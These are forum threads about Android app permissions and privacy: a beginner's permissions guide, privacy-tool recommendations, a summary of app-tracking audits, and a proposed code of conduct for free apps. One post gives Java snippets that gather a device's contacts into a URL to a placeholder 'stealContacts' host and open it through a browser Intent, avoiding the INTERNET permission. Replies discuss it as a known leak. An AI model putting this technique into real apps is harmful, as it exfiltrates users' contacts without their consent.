Source

Informative, although most are common sense, good for beginners.:thumbup:
Sent from my One V using xda premium

Official Description
Allows applications to perform I/O operations over NFC
Details
NFC stands for Near Field Communication. This is a technology like Bluetooth that enables short range communication between two devices or the reading of NFC "tags". The distance which NFC is able to work is only a few centimeters so that devices (or a device and a tag) must effectively be touching each other to communicate. Due to the distance, this technology is not particularly dangerous. However it does present a small risk and it is something that should used with caution.
Click to expand...
Click to collapse
Just to give an example of how something as innocent as NFC can be a danger if your not paying attention. Again, the phones basically have to be touching, but still.... http://thenextweb.com/google/2012/0...rs-hack-android-via-nfc-samsung-galaxy-s-iii/
The point is, an app may use permissions granted in ways that wouldn't normally be thought of, and through a series of exploits and privilege escalations, something that may sound innocuous could be what costs you the most.

Courima remnant
Thank you for this post. Do you have any recommendations for encrypted phone calls and text messages?

Good stuff. Helpful info. I might point out citing your source in a very small link at the bottom of post 3 is not the same as citing your source in a prominent link at the top of post 1. Also the link is just a generic reference to the author's main site http://alostpacket.com/ which does not actually contain the text in your post. You might want to mention http://androidforums.com/android-ap...explained-security-tips-avoiding-malware.html instead.

NxNW said:
Good stuff. Helpful info. I might point out citing your source in a very small link at the bottom of post 3 is not the same as citing your source in a prominent link at the top of post 1. Also the link is just a generic reference to the author's main site http://alostpacket.com/ which does not actually contain the text in your post. You might want to mention http://androidforums.com/android-ap...explained-security-tips-avoiding-malware.html instead.
Click to expand...
Click to collapse
Oh snap the thread police,everybody hide,hahaha,jk.What the heck are you rambling on about?

Diablo67 said:
Oh snap the thread police,everybody hide,hahaha,jk.What the heck are you rambling on about?
Click to expand...
Click to collapse
He's saying that you should cite the exact page where you copied and pasted this from.
The Thanks button is just to avoid "THANKS" posts in threads. Nothing more. Don't defeat the purpose of why it was introduced.

CNexus said:
He's saying that you should cite the exact page where you copied and pasted this from.
The Thanks button is just to avoid "THANKS" posts in threads. Nothing more. Don't defeat the purpose of why it was introduced.
Click to expand...
Click to collapse
Its at the bottom of the last page,page 3,its always been there,i never quote someone without linking to the original source....
http://forum.xda-developers.com/showpost.php?p=42257293&postcount=3

Diablo67 said:
Its at the bottom of the last page,page 3,its always been there,i never quote someone without linking to the original source....
http://forum.xda-developers.com/showpost.php?p=42257293&postcount=3
Click to expand...
Click to collapse
That's not the original source. That link goes to alostpacket.com, not the original thread on android forums that NxNW posted.
The Thanks button is just to avoid "THANKS" posts in threads. Nothing more. Don't defeat the purpose of why it was introduced.

CNexus said:
That's not the original source. That link goes to alostpacket.com, not the original thread on android forums that NxNW posted.
The Thanks button is just to avoid "THANKS" posts in threads. Nothing more. Don't defeat the purpose of why it was introduced.
Click to expand...
Click to collapse
I didnt get it from there,i got it from A Lost Packet dot com ,i wasnt aware of the post on android forums,there was'nt a source on that page @ the time,i do notice now they have moved that post now,so i will fix the source now that i am aware,thank you.
Edit:Matter of fact here ya go... http://androidforums.com/android-ap...explained-security-tips-avoiding-malware.html

Nice thread
veryf helpful, nice thread for beginners.

For anyone wanting read more about android permission weirdness: http://www.quarkslab.com/dl/Android-OEM-applications-insecurity-and-backdoors-without-permission.pdf
SD-card is always readable and writable, even without permissions, so don't keep important stuff on your sd.

this is very informative! thanks:good:

Thank you for the informative thread!
Just started to switch to Android after using BB for quite some time. The first thing I missed was BB's method of granting permissions. I noticed this when I installed Viber and (with the app's basic function aside) was not happy with the fact that it won't run with me denying access to my contacts.
Does this mean that Android is more vulnerable to threats? I'm quite confident Linux is secure but I wouldn't know if the developer inserted something malicious. And since I am unable to encrypt my data, I'm wide open right? (I read Android offers encryption since 2.3.4 but my phone says it's running on 2.3.7 and I can't find the option to do so.)

Information
The above information is very good, but now there are many ways to block the app permissions or send fake datas to user installed app.

I was about to edit a file using Root browser in order to make my headphone volume louder. In most threads regarding this I noticed alot of people mentioning to check permissions after I have edited the relevant values.
Why would me editing system files require me to check permission? Have I got the wrong kind of permission here?

Thanks
I was looking for a nice source to send co-workers to to help educate them on device security. I appreciate the time taken to compile this!!

Firstly thanks for a great thread, (I pressed Thanks).
Regarding Anti-Virus, for the masses who check e-mail on their device and take photographs.
I use an Anti-Virus (Free App) on my device not because of fear of my Android device becoming infected or me doing something to compromise my system, but I do not want to gain a virus which may attack a Windows machine when I mount my device for file transfer via USB.
This is a point I thought I should bring up, you do not need to even have an App which can remove the virus or file (you can delete manually).
The same point ranges on having Anti-Virus applications on Linux in general, it is so the system does store dangerous files in general which can be transferred on to a system of which it does target and could cause damage.

Related

Hi,
I've recently been paying some attention to privacy-related applications which have been appearing: things like Permission Denied (com.stericson.permissions), Privacy Blocker (com.xeudoxus.privacy.blocker), DroidWall (com.googlecode.droidwall.free) and Connection Tracker (com.borgshell.connectiontrackerfree - I've only just looked at this one).
Each of these applications provides some really good features. Permission Denied is good for blocking certain permissions (though not selecting which permissions at run-time). Privacy Blocker does a great job of identifying the specific operations being attempted within a permission (e.g. getLine1Number etc.) and is pretty good at patching on the phone to provide fake/fixed data. DroidWall is excellent (and I think for most people, entirely sufficient actually, although WhisperMonitor may improve on it). Connection Tracker - I really don't know.
However, each of these have their limitations. Permission Denied isn't very granular with its permissions (although as granular as the Android security model on which it operates). Privacy Blocker is susceptible to code using reflection (I believe) to hide some API calls, as well as requiring the target apps be patched before being run. DroidWall - well, like I said, it's fine.
I was imagining that one way of possibly overcoming some of these limitations would be to intercept API calls made by applications, and then (a) prompt the user as to whether they wanted to allow them and (b) allow the user to choose to always allow, and (c) allow the user to return false/static data and pretend to the calling application that the API call ran fine, etc. With integration with a centralised system it would also be potentially possible to allow a list of API calls used by a program to be generated which would be impervious to call hiding techniques because evenually the API call must be made, no matter how circuitously the call may be constructed.
The question at the heart of this, of course, is this: Does anyone know if API calls in Android can be intercepted without actually having to make a lot of modifications to the guts of Android itself. Chances are I'll probably poke around and have a look myself, but I'm very new to Android development and figured that there may be a good reason no-one has built an application to do specifically this yet and I'd rather find out before I spend a few hundred hours bashing my head against walls someone else has already pounded on.
(Naturally, not all API calls would necessarily be intercepted for all users. If this were to be built into an application, then probably by default only privacy-related calls would be trapped. An approach similar to Privacy Blocker of using baksmali and parsing to identify easily-findable API calls would also allow users to choose which permissions to allow in advance.)
Cheers.

first: I can't add links here since I'm new user, so I'll give you only keywords
I believe that you are looking for the project pffmod
I think the project TaintDroid is the one that you look for run time analysis
If you know some kernel development, I would like to cooperate with you to build a ROM that can intercept applications using API, I also want to create something like Privacy Blocker (static analysis) but instead of patching the application the ROM will give a fake answer or exception or null value or what ever based on rules in a table.
What do you say?

There is also the MockDroid project
This project actually does something like pffmod
I can't check either pffmod or MockDroid since I have Samsung Galaxy.
I'll look into it deeply later on.

Okay, so, I summed up some 5 articles on this subject - in the hope of starting a discussion about device security. I hope you will find this interesting and meaningful and perhaps you will find out about some of the risks of using Android.
2 months ago Juniper Networks, one of the two biggest network equipment manufactures, published a blog post (1) about an intensive research their mobile threat department had on the Android market place.
In essence they analyzed over 1.7 million apps in Google Play, revealing frightening results and prompting a hard reality check for all of us.
One of the worrying findings is that a significant number of applications contain capabilities that could expose sensitive information to 3rd parties. For example, neither Apple nor Google requires apps to ask permission to access some forms of the device ID, or to send it to outsiders. A Wall Street Journal examination (2) of 101 popular Android (and iPhone) apps found that showed that 56 — that's half — of the apps tested transmitted the phone's unique device ID to other companies without users' awareness or consent. 47 apps — again, almost a half — transmitted the phone's location to other companies.
That means that the apps installed in your phone are 50% likely to clandestinely collect and sell information about you without your knowledge nor your consent. For example when you give permission to an app to see your location, most apps don't disclose if they will pass the location to ad companies.
Moving on to more severe Android vulnerabilities. Many applications perform functions not needed for the apps to work — and they do it under the radar! The lack of transparency about who is collecting information and how it is used is a big problem for us.
Juniper warns, that some apps request permission to clandestinely initiate outgoing calls, send SMS messages and use a device camera. An application that can clandestinely initiate a phone call could be used to silently listen to ambient conversations within hearing distance of a mobile device. I am of course talking about the famous and infamous US Navy PlaceRaider (3).
Thankfully the Navy hasn't released this code but who knows if someone hadn't already jumped on the wagon and started making their own pocket sp?. CIO magazine (4) somewhat reassures us though, that the "highly curated nature of [smartphone] application stores makes it far less likely that such an app would "sneak through" and be available for download."
A summary by The Register (5) of the Juniper Networks audit reads that Juniper discovered that free applications are five times more likely to track user location and a whopping 314 percent more likely to access user address books than paid counterparts. 314%!!!
1 in 40 (2.64%) of free apps request permission to send text messages without notifying users, 5.53 per cent of free apps have permission to access the device camera and 6.4 per cent of free apps have permission to clandestinely initiate background calls. Who knows, someone might just be recording you right now, or submitting your photo to some covert database in Czech Republic — without you even knowing that your personal identity is being compromised.
Google, by the way, is the biggest data recipient — so says The Wall Street Journal. Its AdMob, AdSense, Analytics and DoubleClick units collected data from 40% of the apps they audited. Google's main mobile-ad network is AdMob, which lets advertisers target phone users by location, type of device and "demographic data," including gender or age group.
To quote the The Register on the subjec, the issue of mobile app privacy is not new. However Juniper's research is one of the most comprehensive looks at the state of privacy across the entire Google Android application ecosystem. Don't get me wrong. I love using Google's services and I appreciate the positive effect this company has had over how I live my life. However, with a shady reputation like Google's and with it's troubling attitude towards privacy (Google Maps/Earth, Picasa's nonexistent privacy and the list goes on) I sincerely hope that after reading this you will at least think twice before installing any app.
Links: (please excuse my links I'm a new user and cannot post links)
(1) forums.juniper net/t5/Security-Mobility-Now/Exposing-Your-Personal-Information-There-s-An-App-for-That/ba-p/166058
(2) online.wsj com/article/SB10001424052748704694004576020083703574602.html
(3) technologyreview com/view/509116/best-of-2012-placeraider-the-military-smartphone-malware-designed-to-steal-your-life/
(4) cio com/article/718580/PlaceRaider_Shows_Why_Android_Phones_Are_a_Major_Security_Risk?page=2&taxonomyId=3067
(5) theregister co.uk/2012/11/01/android_app_privacy_audit/
____________________________________________________________________________________________
Now I am proposing a discussion. Starting with - do we have the possibility to monitor device activity on the phone? By monitoring device activity, such as outgoing SMSs and phone calls in the background, the camera functions and so on we can tell if our phone is being abused under the radar and against our consent. What do you think?
.

I am finding it sad and troubling but even more so ironic that nobody here cares about this stuff.

Pdroid allows you to tailor your apps and what permissions your device actually allows on a per app basis. Requires some setup, and the GUI is nothing fancy.. but for those worried about permissions, it is quite ideal.
Edit : http://forum.xda-developers.com/showthread.php?t=1357056
Great project, be sure to thank the dev
Sent from my ADR6425LVW using Tapatalk 2

DontPushButtons said:
Pdroid allows you to tailor your apps and what permissions your device actually allows on a per app basis
Click to expand...
Click to collapse
Sounds good for a start, I'll look it up

pilau said:
Sounds good for a start, I'll look it up
Click to expand...
Click to collapse
Okay, so I looked it up, and Pdroid does look like a fantastic solution to control what apps have access to what information on your droid.
However, it doesn't cover monitoring hardware functions such as texts being sent, calls being placed etc. as described in the OP. Besides, it only works in Gingerbread as far as I could gather.
EDIT: looking at PDroid 2.0, it does exactly what I originally asked

pilau said:
Okay, so I looked it up, and Pdroid does look like a fantastic solution a control what apps have access to what information on you droid.
However, it doesn't cover monitoring hardware functions such as texts being sent, calls being placed etc. as described in the OP. Besides, it only works in Gingerbread as far as I could gather.
Click to expand...
Click to collapse
I actually first found out about it on an ics rom, so it's definitely not just gb. As for monitoring, no clue. Any sort of extra process logging would likely bog down resources or space eventually.
Sent from my ADR6425LVW using Tapatalk 2

DontPushButtons said:
Any sort of extra process logging would likely bog down resources or space eventually.
Click to expand...
Click to collapse
I definitely wouldn't know. This solution looks very complicated in first impression but on the Google play page it says 100% no performance effects.
Anyway, I looked up PDroid 2.0 here on XDA, which is the rightful successor of the original app. It does everything the original app does and also monitors many device activities! Here is the full list of features. I would add a working link but I'm still a n00b and I am restricted from doing so. Sigh....
forum.xda-developers com/showthread.php?t=1923576
PDroid 2.0 allows blocking access for any installed application to the following data separately:
Device ID (IMEI/MEID/ESN)
Subscriber ID (IMSI)
SIM serial (ICCID)
Phone and mailbox number
Incoming call number
Outgoing call number
GPS location
Network location
List of accounts (including your google e-mail address)
Account auth tokens
Contacts
Call logs
Calendar
SMS
MMS
Browser bookmarks and history
System logs
SIM info (operator, country)
Network info (operator, country)
IP Tables(until now only for Java process)
Android ID
Call Phone
Send SMS
Send MMS
Record Audio
Access Camera
Force online state (fake online state to permanent online)
Wifi Info
ICC Access (integrated circuit-card access, for reading/writing sms on ICC)
Switch network state (e.g. mobile network)
Switch Wifi State
Start on Boot (prevents that application gets the INTENT_BOOT_COMPLETE Broadcast)

I've always had the luxury of someone else integrating it into the Rom, then I just had to set it up through the app. It is time-consuming, but not very difficult at all. I say give it a shot and see if that's what you had in mind. Maybe the logging is less detrimental than I had previously thought.
I'm sure you could get your post count up by asking for some tips in that thread. Every forum on xda has at least one person that's EXCESSIVELY helpful, frequently more. So have a ball
Sent from my ADR6425LVW using Tapatalk 2

Hi all,
I have a question to share with you about the Intent mechanism and I hope to start an interesting discussion.
As you (may) know through the use of "Intent" an app can send data to another app of an operation to be performed. For example, from my app I can send an Intent to the browser app in order to open a specific url. But the Intent mechanism seems (correct me if I am wrong) to not apply any security mechanism. Suppose I want to steal the contacts from a device and send them to a web server, if I want to perform these two operations I need the following permissions:
Code:
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.INTERNET"/>
the former to read the contacts and the latter to send the data to the web server, but this is not true. In fact, I developed a simple app (named myApp) with the following permission:
Code:
<uses-permission android:name="android.permission.READ_CONTACTS"/>
Basically myApp reads the contacts (it holds the permission) and builds a string like the following:
Code:
String request = "http://ww.example.com/stealContacts?"
request += nameContact1=number1&nameContact2=number2&...
Finally, I put the request in the intent (see below), this means that I want to perform a "get request" to the web app http://ww.example.com/stealContacts and send as parameters all the contacts with the phone number.
Code:
Intent i = new Intent(Intent.ACTION_VIEW);
i.setData(Uri.parse(request));
startActivity(i);
In order to test this, I developed a web app that when triggered save all the parameters in the request and show an advertising page.
From my point of view this is very strange, because I can steal the contacts easily.
what do you think? is it a security breach?

You have the permission to read contacts and use the internet. You read the contacts and uploaded them to the internet. I don't see any exploit here, besides unethical behavior.

Hi iBotPeaches, thank you to join the discussion.
I don't give to myApp the permission to use internet, I only give it the READ_CONTACTS, but through the Intent I can send the contacts to internet. I cannot directly open an HTTP connection in myApp.

Yes, this is a fairly well "known" attack - you can use the web browser intent to "leak" information via GET variables.
I am not certain it's a "breach" in the true sense, since Android seems to be an over-trusting platform. I suggest taking a look at XPrivacy on XDA, since its "view" permission for websites will prevent this attack from working unless the user chooses to trust the app (by default it doesn't trust anything).

This is not a security-break. You can only use this permissions you gave. Ist almost impossible gaining permissions without declearing them.. There is a GPS Exploit around which enables GPS without permissions and user confirmation but i think ist fixed in android 3.0+

I second the XPrivacy recommendation and would add OpenPDroid. Both allow you to prevent apps from launching URLs in native Android Browser. XPrivacy allows you to choose which of your accounts and which of your contacts (if any) to allow apps to access.
@simone.mutti - you may be the perfect candidate for this given your interest and ability to develop Android apps:
What the community really needs is a "proof of concept" app that requests all permissions necessary to display all identifying data available/entrusted to Android core services. The app would request the absolute minimum permissions needed to access every bit of data "protected" (aka denied) or "obscured" (aka falsified) by things like XPrivacy and OpenPDroid.
The propose of the app would be twofold:
1) allow users to verify the effectiveness of privacy apps. Currently, XPrivacy's developer recommends NetInfo 2 for the purposes of verifying the efficacy of his app's different privacy features. But the picture is incomplete as NI2 wasn't developed for this purpose.
2) demonstrate the ease with which users can unwittingly supply an app with an inordinate amount of identifying data with the tap of the "install" button. This would serve a similar benefit as pen testing tools by highlighting to non-developers (aka lay people) the various pitfalls of current Android framework. The most excellent, poignant finishing touch would be to allow it to read all intents/permissions of installed Android apps and present the various data each app is allowed to access + the various methods through which it could "legitimately" send that data to some undeclared outside server with/without encryption. Not the easiest task but certainly transformative in terms of clue-ing casual users into the true cost of their "free"and paid apps.
Check out the latest flavor of Angry Birds for a poster-perfect example of data sucking apps at their worst.

Freeware isnt something you really find much in the Android community.
You hear the term thrown around quite a bit, but even alot of what is termed as freeware, actually isnt.
The Lion's Share of Android apps are not Freeware at all, and the Vast majority of the so-called 'freeware' apps that are available for us to download & use daily are not truly freeware at all
I would like to draft a set of guidelines for what would ideally become a certification standard for the ethical creation & development of free apps
Apps adhering to this standard could be classified under this genre of apps, and even bear a symbol within the app, overlaid on its logo, showing users it belongs and mentioned in the app's description, showing users how it was developed, and stating that it adheres to the guidelines and fulfills the requirements of the new standard.
I would also like to compile a list of any existing apps which already meet these criteria
and all Apps filling these requirements will fall under the realm of this Guild.
Please feel free to offer your own ideas & input as to what you feel would be best for the end user, and any rules or criteria you feel are relevant to forming a framework of guidelines & prerequisites needed for apps to be called under this name, and be brought under the umbrella of this guild.
Please feel free to offer suggestions for the certification & class name and/or Guild name as well
this is all preliminary work, and I'm looking for anyone interested in helping to build this community and standard & promote its use.
There could be 2 classes of apps, Freeware & Benefit-Ware
Or there could just be one set of rules for each, stating "IF.. such and such, THEN... such and such"
If you are an App User, please mention anything you find annoying, bothersome, or troublesome.
If you are an App Developer who knows about or is displeased with the ethics and developments of certain apps which gives other apps and developers bad names, please mention anything you can that might assist us in reigning in the cowboys of the App Wild West.
Also, if somethings are simply & 100% "Not Possible" because of the Android OS, these would be issues the Guild will work to make Individual Device Manufacturers as well as the Android team at Google aware of
So, it could start something like this:
- An app should not contain ads nor promotions which cannot be closed or disabled
- An app should not contain any full-screen ads nor any ads which limit or effect user interaction with the app
- An app should not give reminders which pop up and ask the user for money, ratings, or to download additional apps
- All requests for financial support, ratings, and downloading of additional apps should be contained in the 'About' Section of the Apps Settings
- All apps which produce sound of any sort must include its Volume Controls, including in-app Mute
- All apps with services which wish to run at start up must include their own settings option to enable or disable "Start when Android Starts"
- An app must not Auto-start unless the User has specifically selected it to, nor shall it be kept running if it has not been manually Launched by a User since the last Boot time.
- An app must allow users to manually select the installation directory upon installation
- An app must have its own internal Uninstall button in the "About" Menu Settings
- An app must install 'portably', that is, without adding data to the internal phone storage
- All apps which save data must have a User-Selectable Save Location which can be used to replace the App Default Save Location
- All Apps must Uninstall completely and leave no folder behind, asking users whether or not to uninstall specific items which might contain important user data
I hope other people can add to this list
thanks

I would like to stress that this isnt a knock on any existing programs, nor do I expect anyone to change what they are doing who isn't willing to.
If you hate the idea of this, please continue doing what you are doing.
This is for people who want to join or participate because these are the apps they would prefer to use, or make.
thanks

Others may include:
- An app must ask users whether or not the user wants to add a shortcut to the users default Home screen, regardless of the user's own phone settings. Perhaps an "Allow Shortcut" selection for Shortcuts which are going to be added
- An app must ONLY install shortcuts to the program currently being installed, and can in no way add shortcuts to the Home screen, the apps drawer, or the installation directory, to any other program nor any website at all.
- An app may include a single, small, unobtrusive "Donate/Beer" button on a menu bar with other menu buttons, but to be at the far right or farthest/last menu item available on the menu
- An app must not include permissions for anything other than the express intent & use of the app for its specified purpose.
- No app may, at any time, access a users personal information unless the app has direct interaction with such information as directly related to a service it is providing as a primary function of the app - And even then, the apps access to information must not be sent online nor over the internet unless specified as such due to it being a primary function of the app - and if & when personal information is sent online, the owner of the server must have a secure server which is not accessed by himself or his employees, but in which information is automatically transferred by software to and from the end users needed locations, and to no other place shall the information be passed - Nor shall it be kept on the server while not being sent or received to/from the users locations, without the users express consent, as an additional option.
- A "Primary Function" is defined as a Function which is the main or only reason a user installs or interacts with the site, and will be the main focus of the apps description
- Secondary Functions are not allowed to gain internet access, nor have any interaction with any online server or service, nor be granted any access to personal information nor any stored data outside the apps own install directory, etc.
- Apps must, in a written disclaimer provided in the "About" section of the apps own settings, give specific details as to the apps permissions and justify with specific reasons and technical details why each function requires each form of permission, and exactly how the app will use each permission, including server specifications & information-handling specifics, where applicable.
- Apps qualifying for inclusion in the Guild will clearly label themselves in one of 3 categories exclusively - Freeware, Benefitware, or Trialware.
- Apps labelled as Free, or containing the word "Free" must 1.) be 100% ad-free, 2.) not be a Trial, 3.) be fully functional, & 4.) not bother users for payments, ratings, etc.
- Apps labelled as "Benefitware" may include 1.) ads adhering to the guidelines for the inclusion of ads, 2.) requests for financial assistance in accordance with the guidelines for requests of Financial Assistance, 3.) Added Functionality which is above and beyond the scope of the original, feature-rich, fully-functional program, & 4.) Other items which are primarily of benefit to the developer, but which adhere to the guidelines of Enjoyable, Unfettered User Interaction
- Apps labeled clearly as "Trialware" may 1.) Limit the functionality of the apps Primary Functions, 2.) Must have a fully-functioning trial period of no less than 30 days, 3.) Must not be limited in any way during the Evaluation Period (e.g. no "20-character", "2-page", "3-time" limitations, or the such), & 4.) after the Trial Period, the app will be completely 100% uninstallable, and a re-install of the app on a specific device will begin a new 30-day evaluation (Users will not be treated like criminals nor presumed Guilty of Fraudulent use before proven otherwise).
- Other apps will not gain classification, certification, or inclusion in the Guild, and may refer to themselves in anyway they care to, but may broadly be referred to as "junkware" if they are found to not conform to the Principles, Guidelines & Statutes set forth and adhered to by the Guild & its Members & Affiliates
-

Also:
- An app must have an option to turn off Automatic updates, and may not self-check for updates otherwise.
- All Settings a User sets must be permanent and may not be reset nor shall those permission requests for updates, etc, be altered or changed nor be made to reappear, nor require the user to specify the same setting more than once.
- No app shall ever contact its servers for anything other than a user-launched request for the specific function required by the user at the time of the request.
- No app nor server nor company shall in any way interact with its apps or servers in anyway other than to execute the exact function called for by the user according to the UI meaning and implicit intent of the action
-

I have checked almost all the setting of it..But couldn't find the prior results..What are the other alternatives of it?

MarkanthonyDonald said:
I have checked almost all the setting of it..But couldn't find the prior results..What are the other alternatives of it?
Click to expand...
Click to collapse
Hi, markanthonydonald. welcome to the forum, I see this is your first day registered, and your first post no less.
That's right, all the prior results are belong to the settings of it t almost at all from the prior r results, but dont stop trying your point o of that the alternatives are to us, and thats the most bases of it. ll
-

I like the idea of this, and from what youre saying and a few apps I use would fall into this category just fine IF certain things were moved into the 'about' option. How or why a dev would change their current, 100% working fine app, to modify this I dont know.

robneymcplum said:
I like the idea of this, and from what youre saying and a few apps I use would fall into this category just fine IF certain things were moved into the 'about' option. How or why a dev would change their current, 100% working fine app, to modify this I dont know.
Click to expand...
Click to collapse
Great Idea!
- An App must have a complete Version History contained in the About Menu Settings, or a Menu Item Devoted to Version History, with Detailed explanations as to why the changes were added, and if they are only to fix a bug with device x, why is it recommended to install it if you arent using that device
- Each App Update should be available as a complete App Stand-Alone APK installer, or installable from the Play Store Directly. No App should require Updates, nor provide updates for which there is no Standalone APK or an updated Google Play Installation.
alot of devs set up their apps just good enough to get on Google play, without getting kicked off, and then after you install it, they update the app with functions & behaviors that would get it kicked from the Play Store.
great work catching that one, thanks
-

robneymcplum said:
I like the idea of this, and from what youre saying and a few apps I use would fall into this category just fine
Click to expand...
Click to collapse
If you know of any solid apps that you believe fall into this category, or easily could, please post them here
We need a list of example apps that we feel embody the spirit of honesty, transparency, user-centric programming & packaging, and which are either made in the spirit of true freeware, or made in the spirit of goodwill, and have either Benefitware or Trialware which adheres to consumer-oriented needs & interests
The following behaviors DO NOT qualify for inclusion in the Guild:
- Any app which appears desperate to flash things in front of your face, particularly things which flash or change scenes or color rapidly, change in a single frame, or less than a 1 second cross-dissolve, and which are overly animated, bothersome, annoying, or which may lead to epileptic reactions, which cannot be permanently closed or disabled for the duration of the session.
- Any app which appears to desperately or urgently present users with matters of no immediate significance or importance to the user. This includes the pestering need for ratings, requests for financial assistance, downloading of the developers other apps or partner apps, offers to visit the Play store or any other external website, etc..
- Any Benefit-ware app with any full-screen advertisement at all, from Internal or external sources used to promote the sales, use, or downloading of its own other products & services or those of an external company
- Any Benefitware which does not allow you to close a bar-style advertisement with a clear, easily-accessed, and adequately-sized close button
- Any Benefitware which re-opens an ad which has been closed within the same 24-hour period, or since reboot.
- Any Trialware which limits functionality of its products to a state inconsistent with the primary function of the app
- Any Trialware which does not allow a minimum 30-day trial period
- Any Trialware which limits the functions within its trial period in any way
- Any Trialware which doesnt openly allow a re-installation of a Trial package on fresh uninstall/reinstall
A user is to be given as much time as is required for him/her to fully evaluate the product. Often times a user may begin a 30-day trial period, only to never have the time to use it, including having no time to even look through it the day it was installed
Furthermore, All apps containing promotions of their own products are to be classified as Benefitware, and not Freeware, even if there are no ads from external advertising companies.
Feel free to add to this list, or to add an app you believe warrants inclusion for its programming efforts, ethics, & merits
-

A similar Evaluation Period problem arises when users are given a 30-time evaluation. As one "Evaluation" day is simply a 24-hour period since the app was launched.
Launching the app by accident, or launching the app and immediately closing it, removes evaluation days from your trial, days in which no evaluating took place.
Even if we give each launch a time-specific interval where an app which is running for 10 or 15 minutes is considered "Evaluated" for one day, it doesnt take into account that launching the app then closing it where it sits opened in the background still takes away your evaluation days, or opening it, then answering the door or going to grab a sandwich also takes from your evaluation period
We could find other solutions to this problem, but one of the primary characteristics for an app or developer to be included in the Guild is to treat the user as if they were a guest in an actual store, and not a criminal pirate on a baby-killing spree, meaning:
- No app or developer should treat a user like a criminal, nor assume he is engaging or will engage in criminal activity, nor accuse him of such activities, nor behave in a manner which displays mistrust or accusations of users
- An app & developer must leave it to fate, heaven, and the common goodwill of mankind to have its requests & guidelines (such as for trials, etc) met, and can in no way behave in a manner which is inconsistent with good will
- All agreements made will be made in Good Faith with the community at large
you wont walk into a department store and be tackled by the security guards and forced to pay for something you didnt even try on, simply because you touched in on the rack, or be banned from the store for life until you do pay for it.. simply because the paranoid psychotic lunatic in charge of the store thinks everybody who walks into his store is a dirt-poor crack-head criminal out to steal his supremely precious goods
-

Also:
- An app is not to be created for the sole intention of Data Collection or Information Gathering, and apps which appear to do so will be blacklisted
- An app is not to be developed or created for the primary purpose of spreading advertising spam, shady promotions, other sites & services, etc, and any app found to be out of balance with respect to this criteria will be blacklisted
- Any app found to be in breech of any of the guidelines shall be blacklisted. Concerned Members could write a letter to the developer instructing them on the things they could change for inclusion in the Guild, if they so choose
- No app shall include advertisements or links of/to any shady or malicious programs or websites, including phishing sites, spoof sites, porn sites, or any site which executes malicious code or scripts, or which is deemed as an unhealthy website, program, or service by the world-wide community of web experts as a whole
- Any app or developer found in severe breech of the spirit of the Guild will be banned for life. Severe offenses include things such as falsifying information, deception, betrayal, lying, perpetuating viruses/malware or web-based attacks, hacks or intrusions, or stealing private information & personal data; the gathering of personal data for uses unspecific to the service or which willfully compromise the security & privacy of users; or if an app or developer is found to be using the information & data of users in a way which destroys the Integrity & Trustworthiness of the app & developer, and undermines, corrupts, corrodes, or destroys the Trust & Faith the community has put in the app & developer
-

chinarabbit said:
If you know of any solid apps that you believe fall into this category, or easily could, please post them here
Click to expand...
Click to collapse
I use zeam launcher, that definetely qualifies.

robneymcplum said:
I use zeam launcher, that definetely qualifies.
Click to expand...
Click to collapse
Cool, thanks
It seems its not under development anymore.
Perhaps a goal of the Organization can be to encourage, promote, or reward excellence in Programming as well..
It may help to motivate devs who've grown disassociated or whos apps may not be getting the attention they deserve.
I currently use Lightning Launcher, and I would definitely say it qualifies as well. It has the most features of any launcher I've tested, and one of the smallest foot prints as well.. its fast and minimalistic, and completely free, and never bothers you about anything.. it has more features than you'd expect from any high-priced app.. if it has additional paid options I dont even know, as the app is extremely feature rich and has all the functions you could ever want, and many more you havent even thought up yet
These kinds of apps make using Android Phones worthwhile
-

Other important requirements -
- Any App wherein the user enters personal, private, or sensitive information, which has the ability to sync Across Devices & Computers through Web-based Servers, shall:
- Provide a switch to turn off all syncing options & functions
- Provide an adequately useful method for SD Card Storage export which is not dependent on the software which was used to create it
- Be fully functional, practical & useful, as per the intent for use of the primary function of the app, in an offline state.
- No app shall automatically start Services such as GPS, Wi-Fi, etc, without offering a user Prompt for acceptance of such actions
- All apps which turn on services like GPS, Wi-Fi, Bluetooth, etc, shall contain a settings option to permanently disable turning on of any such external services
- All information Sent or Received through online servers or web services shall be secure & inaccessible by the host, in the following ways:
- The information & data sent by users shall enter the server and leave the server, and not be kept on the server except for the brief moment during transfer, without being subject to any sort of copy mechanism, nor filter, nor scan, nor shall accessing the content in any way while the information is passing through the server be allowed
- Information & Data uploaded to storage servers for later access by users shall be encrypted by the server administrators with 128-bit encryption, and be stored thus encrypted until it is Retrieved from the server by the user or users granted password access by the owner of the information.
- Server administrators & owners are forbidden from accessing any user information on their servers, and must encrypt the files & user data in such a way that its available only to the user, and otherwise remains in a software-encrypted state upon the server, inaccessible by server admins & owners
- Servers shall be vigilantly maintained and frequently tested for security
- If a server is used for "cloud" storage by the user, the User Data shall be backed-up in an Encrypted state, and frequently tested for data integrity
- Servers which are not secure and which do not encrypt user files & data files, or which do not design themselves to be secure from admin access of data and other third-party viewers, shall be known as "Public Servers", and a Warning Prompt shall appear on the device or computer each time the Server is accessed and data is sent or received (there shall be no method for disabling this prompt). The Warning Message shall clearly state the user is accessing a "Public Server" (capitalized) and that any data sent or received is freely viewable to third-parties, and server owners & administrators shall include themselves as third-party viewers
- First Party users & viewers (hereafter referred to as the "Owner") are designated as both the Device & User which uploaded the data to the server for storage
- Second Party users & viewers are defined specifically as both the Device & User which downloads or accesses the data which was previously stored, and who has been given password-protected permission by the Owner (First Party)
-Third Party is broadly inclusive of any organization, company, or individual who has access or potential access to the Owner's Data. Third Party also includes Devices, Computers, Servers, & Software which handles, accesses or views (or has the potential to do so), in an unencrypted state (not 128-bit or higher), any data or information belonging to or uploaded by the First Party / Owner, with the exception of Software or an Algorithm accessing the data for the sole purpose of automated Encryption to 128-bit level, or decryption from 128-bit, which does not copy, record, send or store any user-sent/received data at all, and which no other software or entity views, has access to, or monitors, records, sends, or retrieves in any way whatsoever
- "Encrypt" (also Encryption, Encrypted, Encrypting, etc) is defined as 128-bit automated, unmonitored software / algorithm encryption processed by a program without oversight or monitoring by any other software, algorithm, or entity,and which has no other function other than Encryption
- To Qualify for Inclusion in the Guild, Server owners must open up their server modules, processes and other relevant information to review by the Guild or one of its member affiliates for inspection, review, & certification. Server Owners must also provide sworn affidavits stating the integrity and security of the data, and how the data is used, who has access, how information is processed, transferred, encrypted, etc. and submit said Affidavits to the Guild before being removed from the Guild Security Blacklist.
-

I think we've already narrowed the list of qualifying software to less than what's available for Windows Phone
-

